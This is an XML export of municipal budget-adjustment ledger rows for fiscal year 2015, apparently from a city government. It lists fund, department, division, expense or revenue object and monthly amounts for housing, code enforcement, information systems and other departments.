<row _id="16234"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>571110.0</object><object_description>S+C HAP SUO2</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>85461.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>85461.0</total></row>
<row _id="16235"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>566810.0</object><object_description>TRANS &amp; USE TAX-SMMUSD ALLOCAT</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>7837500.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>7837500.0</total></row>
<row _id="16236"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>245</division_id><division_name>SOFTWARE SYSTEMS</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>-38533.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-38533.0</total></row>
<row _id="16237"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>403</division_id><division_name>ARCHITECTURE SERVICES</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>-45759.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-45759.0</total></row>
<row _id="16238"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>-20234.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-20234.0</total></row>
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<row _id="16312"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>19</fund_id><fund_name>CDBG Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>577720.0</object><object_description>CDBG REIMB-HUMAN SVC</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="16313"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>533040.0</object><object_description>SPECIAL INSURANCE</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>3000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3000.0</total></row>
<row _id="16314"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object xsi:nil="true" /><object_description>SECTION 8 PORT IN</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2015</fiscal_year><july>-21022.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-21022.0</total></row>
<row _id="16315"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>400882.0</object><object_description>SPC HAP TRA</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2015</fiscal_year><july>-1534938.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-1534938.0</total></row>
<row _id="16316"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>400921.0</object><object_description>SPC ADMIN SU02</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="16317"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>2500.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2500.0</total></row>
<row _id="16318"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>400394.0</object><object_description>HAP REVENUE - PORTS</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="16319"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>16763.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>16763.0</total></row>
<row _id="16320"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>222562.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>222562.0</total></row>
<row _id="16321"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>1357.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1357.0</total></row>
<row _id="16322"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>3004.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3004.0</total></row>
<row _id="16323"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>266</division_id><division_name>CITY PLANNING/DEVELOPMENT REV.</division_name><object>408220.0</object><object_description>PUBLIC NOTIFICATION REVENUE</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-9825.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-9825.0</total></row>
<row _id="16324"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>251</division_id><division_name>EMPLOYMENT &amp; ORGANIZATIONAL DE</division_name><object>511580.0</object><object_description>COLLEGE SUMMER INTERNS</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>57186.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>57186.0</total></row>
<row _id="16325"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>247</division_id><division_name>WEB DEVELOPMENT</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>12390.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>12390.0</total></row>
<row _id="16326"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>247</division_id><division_name>WEB DEVELOPMENT</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>504.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>504.0</total></row>
<row _id="16327"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>247</division_id><division_name>WEB DEVELOPMENT</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>3387.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3387.0</total></row>
<row _id="16328"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>247</division_id><division_name>WEB DEVELOPMENT</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>200.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>200.0</total></row>
<row _id="16329"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>247</division_id><division_name>WEB DEVELOPMENT</division_name><object>579260.0</object><object_description>INTERNET/WWW SERVICES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>31000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>31000.0</total></row>
<row _id="16330"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>322</division_id><division_name>CODE ENFORCEMENT</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>3412.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3412.0</total></row>
<row _id="16331"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>322</division_id><division_name>CODE ENFORCEMENT</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>13677.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>13677.0</total></row>
<row _id="16332"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>322</division_id><division_name>CODE ENFORCEMENT</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1000.0</total></row>
<row _id="16333"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>322</division_id><division_name>CODE ENFORCEMENT</division_name><object>523000.0</object><object_description>VEHICLE MGMT FUND-MAINTENANCE</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>11802.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>11802.0</total></row>
<row _id="16334"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>322</division_id><division_name>CODE ENFORCEMENT</division_name><object>544010.0</object><object_description>SPECIAL DEPARTMENT SUPPLIES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>13141.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>13141.0</total></row>
<row _id="16335"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>6</fund_id><fund_name>Clean Bchs &amp; Ocean Prcl Tx Fd</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>533090.0</object><object_description>PROJECT MAINTENANCE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>122160.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>122160.0</total></row>
<row _id="16336"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object xsi:nil="true" /><object_description>SECTION 8 HAP VOUCHERS</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="16337"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>522340.0</object><object_description>BUY LOCAL CAMPAIGN</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>20360.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>20360.0</total></row>
<row _id="16338"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>322</division_id><division_name>CODE ENFORCEMENT</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>-17402.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-17402.0</total></row>
<row _id="16339"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>322</division_id><division_name>CODE ENFORCEMENT</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>347731.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>347731.0</total></row>
<row _id="16340"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>322</division_id><division_name>CODE ENFORCEMENT</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>8311.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>8311.0</total></row>
<row _id="16341"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>322</division_id><division_name>CODE ENFORCEMENT</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>2081.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2081.0</total></row>
<row _id="16342"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>322</division_id><division_name>CODE ENFORCEMENT</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>12342.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>12342.0</total></row>
<row _id="16343"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>322</division_id><division_name>CODE ENFORCEMENT</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1177.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1177.0</total></row>
<row _id="16344"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>322</division_id><division_name>CODE ENFORCEMENT</division_name><object>522910.0</object><object_description>VEHICLES - FUELS / LUBRICATION</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>106.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>106.0</total></row>
<row _id="16345"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>322</division_id><division_name>CODE ENFORCEMENT</division_name><object>588090.0</object><object_description>FURNITURE &amp; FURNISHINGS</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>3900.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3900.0</total></row>
<row _id="16346"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>405620.0</object><object_description>PRIVATE COACHING FEE</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-1600.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-1600.0</total></row>
<row _id="16347"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>214</division_id><division_name>R &amp; ES(CITY CLERK)-SUPP SCVS</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1000.0</total></row>
<row _id="16348"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>ST. JOE-HPSHP</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>301696.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>301696.0</total></row>
<row _id="16349"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>562434.0</object><object_description>SHP-OPCC</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>112958.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>112958.0</total></row>
<row _id="16350"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object>510000.0</object><object_description>SALARIES AND WAGES</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="16351"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>208</division_id><division_name>BUDGET DIVISION</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>735.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>735.0</total></row>
<row _id="16352"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>562270.0</object><object_description>ST. JOHN'S CFDC-ROGERS LEARNIN</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>60466.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>60466.0</total></row>
<row _id="16353"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>19</fund_id><fund_name>CDBG Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>577724.0</object><object_description>ST JOE HPSHP-CDBG</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>44624.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>44624.0</total></row>
